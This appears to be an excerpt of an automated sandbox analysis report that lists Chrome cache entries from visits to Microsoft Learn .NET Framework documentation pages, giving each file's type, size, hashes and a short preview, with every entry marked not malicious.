SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
